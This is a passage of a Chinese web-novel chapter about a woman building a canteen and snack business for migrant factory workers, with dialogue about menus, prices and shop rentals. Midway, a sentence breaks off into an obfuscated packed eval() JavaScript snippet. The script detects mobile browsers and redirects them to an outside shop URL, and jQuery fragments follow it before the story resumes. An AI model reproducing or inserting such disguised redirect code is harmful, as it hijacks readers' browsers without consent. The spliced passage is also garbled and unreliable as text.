张明礼菜单写好，武峻峰和尚丽商量买多少肉，豆腐青菜便宜。


    “多买点肉，红烧肉备用，来多少人做多少份，我们有冰箱不怕坏。”总算体现出1400元冰箱的好处来。


    张明礼武峻峰一人一个背篓，尚丽跟着去找张屠户。


    张明礼挑了五十斤五花肉，张屠户帮忙切成小方块，尚丽没看见猪头内脏那些便问，“猪头，猪蹄，猪舌，肠那些呢？”


    “你要的话我给你留，一块二一斤再少没法卖。”


    “猪头要2个，猪肠要5付，必须烧毛处理干净。卖得好，隔两天给我留一份。”


    “行。”


    “五花肉和瘦肉每天要十斤。”


    “你们明天中午准备的什么菜，我老婆孩子也想吃你们卖的盒饭。烧鸭烧鹅哪天有，我想买半斤尝鲜。”


    烧鸡烧鹅那天只有预订的才有，他没吃上看别人吃就觉得香。


    “半只烧鸡烧鸭3元，烧鹅6元，你觉得贵吗？”


    “不贵，李淑英500元的包包都舍得买，几块钱的烧鸡难道还买不起吗？你别看，现在大家兜里都有钱呢。今天吃米粉的，是不是多数都是来赶集的乡邻。要是孩子想吃，多少钱都得买点。”


    “初八，十八，二十八，餐厅会增加卤味供应还请你帮忙宣传。”


    “尚丽，这到下月初八还要十天，你这个人，真的是很会调人味口。”


    回来，张明礼武峻峰煮肉，尚丽去二楼看缝纫工加班。


    玉金辉一共招收了15个熟练工，40个学徒工，分成2班倒，机器24小时不停歇。


    今年开年国家就提升了供电级别和供水等一些列基础建设，为香江老板来镇上投资在镇上办厂打下了坚实的基础。


    旁边冯铮公司的工人也在没日没夜的赶工，四十亩的地，要盖八栋六层的厂房，还有六栋六层的员工宿舍和十来间大型仓库，工期只有三个月，冯铮公司打工的人有一百七八十人。


    透过半开的窗户，尚丽听着机器轰鸣的声音，好像看到未来数千人在工厂上班的热闹景象。


    “尚总，我们是北方人，餐厅早餐能不能卖点馒头油条豆浆和菜加饼。”谈小菊走过来，小声道。


    “馒头没问题。免费咸菜也可以有，不过得等两天。”尚丽笑着说：“你们想吃什么，都可以点菜。”


    回来尚丽也和武峻峰张明礼商量，工友们可以提意见，有什么想吃的餐厅半个月安排一次。


    “这样一方面可以和工友们培养感情拉近关系，二来，大家饭吃的高兴，工作顺利，一定会介绍亲戚邻居来这边打工，给我们餐厅带来潜在的客人。


    说实话，我们开餐厅，不是为了服务村里人，是为了这些外出务工的工友们吃上热乎饭，我们是帮助他们在这里挣钱，扎根这里，最后留在这里。”


    尚丽给武峻峰安排了任务，借着调查工友们饮食喜好的机会，处理好关系和他们打成一片，这样以后附近工地开工，他们也可以帮餐厅宣传。


    “明礼，说千到一万，一个餐厅的核心竞争力是厨师的专业能力。


    饭菜做的难吃，再好的关系也不会走的长远。我希望由我和武峻峰建立起来的关系网，通过你高超的厨艺维系下去。”


    张明礼提出自己的想法，“老板，要不我让我妈来给我帮忙切菜？”


    “你的厨艺是跟谁学的？”尚丽好奇。


    “我从小到大，厨艺是我爷爷手把手教的，我爸也是厨师。”


    爷爷和爸爸显然是不会来。


    “难怪你的基本功让我眼前一亮，他们肯定是照着名厨培养你的。明年，明年肯定会有人愿意跟你出来做菜。今年你就先顶着。我再给你找一个专门的洗碗工，买一个大的消毒柜。”


    说干就干，第二天一早，尚丽就包车到湖口批发了一车面粉和土豆，买了商用消毒柜，自动开水机和大功率自动压面机。


    “老板，你这又花了多少钱？”武峻峰管账，一个冰箱，天然气，水电费，食材，一样样贵的压垮他的心理防线。


    “贵的能多用几年。手摇压面机420元，我配了一个电动机600元。”尚丽故意道，“自动开水机就外面这不锈钢贵要几百块钱。”


    帮忙搬东西的王工跟着笑，武峻峰这个滑头，今早去工地转了一圈，大家都知道餐厅要给他们安排半个月一次的点餐活动，又说中午有红烧肉，勾的人没心思干活，他不就在这里帮忙了。


    “消毒柜和开水机放在大厅，这边有接好的电源，自来水也方便，找人接根管子的事。”


    张明礼马上让人把压面机抬进出厨房，地下室专门腾出一间房来放。


    五六七层正有师傅施工，请了水电工来，不一会儿两台机器就安装好了。


    中午就有免费的开水喝。


    “尚老板，你这边应该也放一个冰柜，好方便工友们拿冰饮。”


    尚丽来找看店正在卖东西的尚仁。


    “二妹，早上来了一个香江老板买走一台冰箱，我听周婶说，那人在村里包养了一个年轻的二奶，是香江运输公司的工人，一个月有6000港币的工资。”


    也就是说他一个月的工资有3000块钱，所以买一台1500元的冰箱，完全能没问题。


    “卖出去一台冰箱我们能挣100元，亲兄弟明算账，我给你20元的提成。”


    “使不得，每月拿120元的工资，我都觉得自己脸皮真厚，本来应该给你帮忙。”


    “三哥，别妄自菲薄，你要自信，你首先得肯定自己的付出和劳动值120元钱。你对我的亲情促使你任劳任怨兢兢业业24小时吃住都在店里。”


    这个人，说的他好像干了多少苦力一样其实是每天看电视抽空卖东西，自由的很。尚仁心里很激动，二妹好口才，话说的让人打心眼里高兴。


    还剩3台冰箱，显然冰柜更受大家欢迎，下次订货的时候再进几台冰柜。


    傍晚，李淑英一家来餐厅吃1.5元一份的小炒菜，买走一台冰箱。


    尚仁和尚丽帮忙揉面的时候说，等着看吧，剩下这两台也很快会有买主。


    早上5点，尚丽和武峻峰帮忙蒸馒头，张明礼变着花样在馒头里加糖，加姜黄，加辣椒粉，蒸出二百多个馒头和花卷。


    玉满婆做的萝卜咸菜很受欢迎，这天，工友们早上吃的大米粥咸菜炒土豆丝加馒头，中午是便宜又丰盛的炒菜米饭，晚上压面做的又麻又辣的干拌臊子面，三餐都卖茶叶蛋和煎荷包蛋，基本照顾到大家的口味。


    周庆菊帮忙村里找了一个洗碗工，每天只工作3个小时领6毛钱的工资。


    第二天张明礼蒸馒头，直接炒了几个素菜，卖馒头夹菜配粥，没想到深受大家的欢迎，将早餐菜式固定下来。


    二月初七，尚丽回了一趟屏山村，买到五十只鸡鸭鹅处理干净，又去张屠户那里拿来预定的猪肠猪头，连夜和张明礼做成卤味。


    住在这栋楼上的住户闻了一晚上的肉香，早餐都要吃肉解馋。


    “卤鸡鸭半只3元，卤鹅半只6元，猪肠猪头肉一斤4.5元可以分开卖。”尚丽把价格写在窗口挂的小黑板一边问冯铮，价高不高？


    “尚老板，切二两猪头肉夹馍。”


    尚丽笑着戴手套，给冯铮切肉，“送你两节肥肠？”


    “再切半只卤鸡，我留着中午吃。”


    “好的。给你冻冰箱，吃的时候你自己拿。”尚丽盘子里取了一只肥鸡，称了称，有三斤多，给冯铮切了一半用油纸包住。


    “一共4.2元，记账还是现金？”


    “记账。”


    尚丽让武峻峰记账。


    今天逢集人肯定多，张明礼给赶集的人准备了肉臊子面，工友们还是米饭炒菜。


    十一点多开始上人，玉满婆和周庆菊帮忙端饭打菜，张明礼负责下面调味，武峻峰


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115769|194435||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    负责收钱收碗筷，尚丽负责卖卤味和哪里需要人在哪里帮忙。


    “尚老板，给我半只烧鸭，半只卤鹅！”


    “老板，给我切半只卤鸭。”


    “老板，我要三两猪头肉。”


    “老板，我要二两猪耳，麻烦给我凉拌一下。”


    “老板……”


    十二点一过，尚丽切肉忙的晕头转向，也有好多赶集专门来吃米粉，最后也买了卤肉。


    “老板，给我称二两肥肠，下一份素粉。”有人自发的创造出肥肠米粉。


    晚上，三个人一算，还是卖卤味赚钱一天的总收入有456元。


    “武哥，明礼，就这样定了，每月逢八我们餐厅就加卖卤味，要是谁要买可以提前两天预订。”尚丽把账本还给武峻峰。


    “我明天去湖口摆夜市，这里的生意就交给你们了，每月逢八我再回来帮忙，餐厅每两个月盘点一次，工资看大家的意见，是过年发还是按月发都行。有事不决随时给我打电话。”


    尚丽写下房东超市的电话号码，又来找尚仁，交代订货订冰柜要讲价的事。


    “我们订五台冰柜，问刘老板看能不能送五十件的冰棍和小奶糕。”


    “好，这事交给我。”尚仁知道尚丽和刘老板太熟不好讲价。


    尚丽坐公交车第二天下午回湖口，尚文尚武四个人正准备晚上出摊的狼牙土豆条。


    “二妹，我们一晚上要卖500斤狼牙土豆。”马秀一见面就迫不及待的和尚丽说，“我们用你的配料直接撒料，也很向卖。”


    “豆腐呢？”


    “豆腐一晚上还是三百斤，今年来这边打工的人增加了一倍还多。”


    尚文和尚丽说东门夜市白天的餐馆有人退出，只是房东要价1500元一月，大家都在观望。


    “二妹，三十多平米的小店，租金也太贵了。”王芸插嘴道。


    “大哥，你明天问问房东能签五年的合同吗？要是能签五年，每年按照10%的幅度合理涨租，我们就签下来。”


    尚丽觉得真是想什么来什么，在这最繁华的地段开一家快餐店，以这个店为原点将卖盒饭的生意扩散到周围工地，三五天就将一个月的租金赚回来。


    “就怕租了店，大家会很忙。”


    “忙点好。”尚武接道，最近白天都闲着，就看尚丽一个人开餐厅开店挣钱，心里慌。


    王芸听尚武的，尚文马秀本来就想租，现在尚丽同意，尚文第二天就去签了合同。


    接着尚丽王芸马秀，拿着自家的扫把拖把水桶去店里搞卫生，店里有折旧卖给房东的锅碗瓢盆，他都算成钱便宜扔给了尚文。


    “尚老板，我正要跟你说这家店出租，就是坐等不见你。”王老板笑呵呵过来打探情况，尚丽是一个强大的竞争对手，他可不愿意看到她租到店面，不过现在已是事实，又不得不出来打个招呼。


    “王老板好，这是我大哥的店，他准备白天卖盒饭晚上继续摆夜市。还请你以后多多照顾。”尚丽虚与委蛇，做生意嘛，和气生财。


    “你投了多少？”


    尚丽比个三十。


    “尚老板，我们这么长时间没见，你去哪里发财了？”


    “我在南头镇开了一家餐厅，我家的楼租给了一个香江老板开服装厂，前段时间帮了一阵忙，现在餐厅步入正轨，我这一闲下来，就来帮我哥哥的忙。”


    王老板心里正鄙夷尚丽攀上高枝，指不定在哪里当二奶，就听到——她竟然自己有楼出租，还开餐厅，她本身就是大老板，还攀什么高枝。顿时，心里那点知道别人秘密把柄的小九九快意就这样被无情的戳破。


    “原来，尚老板，是本地人，真是失敬失敬！”


    “不打不相识，王老板，还请你以后千万不要手下留情，给我哥哥多一点打击。让他的店能在这条街一直开下去。”


    “和气发财，以和为贵，我祝你们生意兴隆。”